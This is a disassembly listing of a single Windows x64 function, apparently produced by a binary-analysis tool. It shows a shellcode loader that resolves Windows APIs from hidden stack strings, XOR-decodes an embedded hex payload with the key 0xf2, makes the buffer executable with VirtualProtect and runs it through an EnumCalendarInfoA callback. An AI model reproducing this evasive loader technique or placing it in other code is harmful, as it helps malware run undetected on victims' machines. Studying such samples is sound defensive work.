Function at 0x180002da0
Capabilities:
Encode data using xor

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0xe8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x60], 0xfffffffffffffffe
movabs rax, 0x6c6c642e7364
mov qword [rbp + 6], rax
movabs rax, 0x7364657669746361
mov qword [rbp], rax
mov r13, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rbp
call r13
mov rsi, rax
movabs rax, 0x6c6c642e32336c
mov qword [rbp + 0x15], rax
movabs rax, 0x32336c656e72654b
mov qword [rbp + 0x10], rax
lea rcx, [rbp + 0x10]
call r13
mov rdi, rax
movabs rax, 0x6d654d734441
mov qword [rbp - 9], rax
movabs rax, 0x41636f6c6c616552
mov qword [rbp - 0x10], rax
mov rbx, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp - 0x10]
mov rcx, rsi
call rbx
mov r12, rax
movaps xmm0, xmmword [str.VirtualProtect]
movaps xmmword [rbp - 0x60], xmm0
lea rdx, [rbp - 0x60]
mov rcx, rdi
call rbx
mov qword [rbp + 0x50], rax
movaps xmm0, xmmword [str.EnumCalendarInfoA]
movaps xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x21], 0x416f
lea rdx, [rbp - 0x30]
mov rcx, rdi
call rbx
mov qword [rbp + 0x28], rax
mov dword [rbp + 0x5b], 0x6c6c
mov dword [rbp + 0x58], 0x6c64746e
lea rcx, [rbp + 0x58]
call r13
movaps xmm0, xmmword [str.RtlIpv4StringToAddressA]
movaps xmmword [rbp - 0x50], xmm0
movabs rcx, 0x41737365726464
mov qword [rbp - 0x40], rcx
lea rdx, [rbp - 0x50]
mov rcx, rax
call rbx
lea rdx, [0x180107138]
lea r8, str._N_c_g_FwZLcd
lea r9, str.n_3_yU_bn_Q._Wc
lea rsi, [rbp + 0x30]
mov rcx, rsi
call fcn.180003320
mov r15, qword [rbp + 0x48]
mov r14, qword [rbp + 0x30]
mov rbx, qword [rbp + 0x40]
shr rbx, 1
mov edx, 1
mov rcx, rbx
call fcn.1800121cc
mov rdi, rax
test rbx, rbx
je 0x180002f35
cmp r15, 0xf
cmova rsi, r14
xor r14d, r14d
lea r13, str._02x
nop dword [rax]
lea r8, [rdi + r14]
mov rcx, rsi
mov rdx, r13
call fcn.180003200
add rsi, 2
add r14, 1
mov r15, qword [rbp + 0x40]
shr r15, 1
cmp r14, r15
jb 0x180002f10
jmp 0x180002f38
xor r15d, r15d
xor ecx, ecx
mov edx, r15d
mov r8d, r15d
call r12
mov rsi, rax
test r15d, r15d
jle 0x18000300c
mov eax, r15d
cmp rax, 8
jb 0x180002f72
lea rcx, [rdi + rax]
cmp rsi, rcx
jae 0x18000301a
lea rcx, [rsi + rax]
cmp rdi, rcx
jae 0x18000301a
xor ecx, ecx
mov ebx, r15d
sub ebx, ecx
mov r8, rcx
not r8
add r8, rax
and rbx, 3
je 0x180002fa1
nop dword [rax + rax]
movzx edx, byte [rdi + rcx]
mov byte [rsi + rcx], dl
add rcx, 1
add rbx, 0xffffffffffffffff
jne 0x180002f90
cmp r8, 3
jb 0x180002fdb
nop word [rax + rax]
movzx edx, byte [rdi + rcx]
mov byte [rsi + rcx], dl
movzx edx, byte [rdi + rcx + 1]
mov byte [rsi + rcx + 1], dl
movzx edx, byte [rdi + rcx + 2]
mov byte [rsi + rcx + 2], dl
movzx edx, byte [rdi + rcx + 3]
mov byte [rsi + rcx + 3], dl
add rcx, 4
cmp rax, rcx
jne 0x180002fb0
mov rcx, rdi
call fcn.180012c18
cmp r15d, 2
mov rbx, qword [rbp + 0x50]
jl 0x18000308e
mov eax, 0xffffffff
add rax, r15
mov ecx, eax
lea rdx, [rcx - 1]
and eax, 7
cmp rdx, 7
jae 0x18000302a
xor edx, edx
jmp 0x180003068
mov rcx, rdi
call fcn.180012c18
mov rbx, qword [rbp + 0x50]
jmp 0x18000308e
cmp eax, 0x20
jae 0x18000310c
xor ecx, ecx
jmp 0x18000314d
sub rcx, rax
xor edx, edx
nop
lock xor byte [rsi + rdx], 0xf2
lock xor byte [rsi + rdx + 1], 0xf2
lock xor byte [rsi + rdx + 2], 0xf2
lock xor byte [rsi + rdx + 3], 0xf2
lock xor byte [rsi + rdx + 4], 0xf2
lock xor byte [rsi + rdx + 5], 0xf2
lock xor byte [rsi + rdx + 6], 0xf2
lock xor byte [rsi + rdx + 7], 0xf2
add rdx, 8
cmp rcx, rdx
jne 0x180003030
test rax, rax
je 0x18000308e
mov rcx, rsi
add rcx, rdx
xor edx, edx
nop word cs:[rax + rax]
nop
lock xor byte [rcx + rdx], 0xf2
add rdx, 1
cmp rax, rdx
jne 0x180003080
movsxd rdx, r15d
lea r9, [rbp + 0x24]
mov rcx, rsi
mov r8d, 0x40
call rbx
mov rcx, rsi
mov edx, 0x800
mov r8d, 0xffffffff
mov r9d, 1
call qword [rbp + 0x28]
mov rax, qword [rbp + 0x48]
cmp rax, 0x10
jb 0x1800030f6
mov rcx, qword [rbp + 0x30]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x1800030f1
mov rbx, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rbx
cmp rcx, 0x20
jae 0x18000317f
add rax, 0x28
mov rdx, rax
mov rcx, rbx
call fcn.180005adc
xor eax, eax
add rsp, 0xe8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov edx, r15d
and edx, 0x1f
mov rcx, rax
sub rcx, rdx
xor ebx, ebx
nop word [rax + rax]
movups xmm0, xmmword [rdi + rbx]
movups xmm1, xmmword [rdi + rbx + 0x10]
movups xmmword [rsi + rbx], xmm0
movups xmmword [rsi + rbx + 0x10], xmm1
add rbx, 0x20
cmp rcx, rbx
jne 0x180003120
test rdx, rdx
je 0x180002fdb
cmp edx, 8
jb 0x180002f74
mov rdx, rcx
mov r8d, r15d
and r8d, 7
mov rcx, rax
sub rcx, r8
nop dword [rax]
mov rbx, qword [rdi + rdx]
mov qword [rsi + rdx], rbx
add rdx, 8
cmp rcx, rdx
jne 0x180003160
test r8, r8
jne 0x180002f74
jmp 0x180002fdb
call fcn.180011be0
int3